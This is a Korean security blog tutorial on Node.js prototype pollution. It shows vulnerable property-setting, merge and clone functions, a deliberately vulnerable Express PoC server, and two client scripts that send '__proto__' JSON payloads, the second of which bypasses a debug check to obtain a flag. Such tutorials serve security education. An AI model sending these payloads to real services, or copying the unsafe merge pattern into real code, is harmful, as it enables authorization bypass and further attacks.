개요
Node JS Prototype Pollution은 Prototype의 특성을 이용하여 다른 객체들의 값을 오염시키는 공격 기법입니다.
객체의 프로토타입은 객체.__proto__를 통하여 참조할 수 있으며, 객체의 프로타입이 변경되면 해당 객체와 같은 프로토타입을 가진 모든 객체들에 변경사항이 적용되게 됩니다.
또한, 객체의 프로토타입은 Object.prototype과 동일하기 때문에 프로토타입의 변조를 통하여 일반적인 객체들의 속성을 제어할 수 있게됩니다.
아래의 예제를 통해 obj 객체의 프로토타입에 polluted 속성을 1로 지정한 결과, obj와 같은 프로토타입을 갖고 있는 obj2에도 polluted 속성이 1로 설정된 것을 확인할 수 있습니다.
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
obj.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.__proto__ === Object.prototype); // true
console.log(obj2.polluted); // 1
단, 아래와 같은 Prototype Pollution은 해당 객체에만 영향을 줌
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
obj["__proto__"] = {"polluted":1}
const obj2 = {};
console.log(obj2.__proto__ === Object.prototype); // true
console.log(obj.polluted); // 1
console.log(obj2.polluted); // undefined
분석
Node JS Prototype Pollution 기법이 처음 발견되었을 때 아래와 같은 속성 설정, 객체 병합, 객체 복사와 비슷한 기능을 가진 모듈들에서 해당 취약점이 발견되었다고 합니다.
속성 설정
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
객체 병합
function merge(a, b) {
for (let key in b) {
if (isObject(a[key]) && isObject(b[key])) {
merge(a[key], b[key]);
} else {
a[key] = b[key];
}
}
return a;
}
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
객체 복사
function clone(obj) {
return merge({}, obj);
}
const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1
해당 취약점을 통해 DoS, Logic Error, RCE 등 여러 공격이 가능하며, server.js는 Node JS Prototype Pollution에 취약한 Server PoC Code입니다.
코드에 대하여 간단히 설명하자면, 데이터를 받아 obj 객체로 생성시킨 후 debug 객체의 status 속성이 존재한다면 FLAG를 출력 시켜주고 없다면 obj 객체의 msg 속성의 데이터를 출력 시켜줍니다.
PoC Code(server.js)
function isObject(obj){
return obj !== null && typeof obj === 'object';
}
function merge(a, b){
for (let key in b){
if(isObject(a[key]) && isObject(b[key])){
merge(a[key],b[key]);
}else{
a[key] = b[key];
}
}
return a;
}
function clone(obj){
return merge({},obj);
}
const flag = "ethsms{ethsms.co.kr}";
const express = require('express');
const app = express();
app.use(express.json());
app.post('/',(req, res) => {
const debug = {};
const obj = clone(req.body);
if(debug.status){
res.send(flag);
}else{
res.send(obj.msg);
}
});
app.listen(1234);
client1.js는 obj 객체의 프로토타입에 msg 속성을 추가하도록 요청하는 Client PoC 코드입니다.
obj 객체의 프로토타입에 msg 속성을 Hello World로 저장하였으며, debug 객체에는 status 속성이 존재하지 않기 때문에 obj.msg의 데이터가 클라이언트에게 출력됩니다.
PoC Code(client1.js)
const http = require('http');
const client = http.request({
host:'localhost',
port: 1234,
method: 'POST'
}, (res) => {
res.on('data',(chunk) =>{
console.log(chunk.toString());
});
});
const data = '{"__proto__":{"msg":"Hello World"}}';
client.setHeader('content-type','application/json');
client.end(data);
만약 Prototype Pollution 취약점이 발생할 때 프로타입의 status 속성에 임의의 값을 집어넣을 수 있다면, if(debug.status) 조건을 우회할 수 있어 FLAG를 획득할 수 있습니다.
client2.js는 status 속성에 임의의 값을 집어넣는 PoC 코드입니다.
PoC Code(client2.js)
const http = require('http');
const client = http.request({
host:'localhost',
port: 1234,
method: 'POST'
}, (res) => {
res.on('data',(chunk) =>{
console.log(chunk.toString());
});
});
const data = '{"__proto__":{"status":"1"}}';
client.setHeader('content-type','application/json');
client.end(data);
Reference
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
'Hack > Web' 카테고리의 다른 글
[KVE-2020-0200,0202] YoungCart 1Day 취약점 분석 (Command Injection) (0) | 2020.09.22 |
---|---|
[KVE-2020-0656] YoungCart 1Day 취약점 분석 (Command Injection) (0) | 2020.09.22 |
Relative Path Overwrite(RPO) (0) | 2020.09.22 |
XS Search Attack (Cross Site Search) (0) | 2020.09.22 |
Laravel SQL Injection ( Version < 5.8.11) (0) | 2020.09.22 |
댓글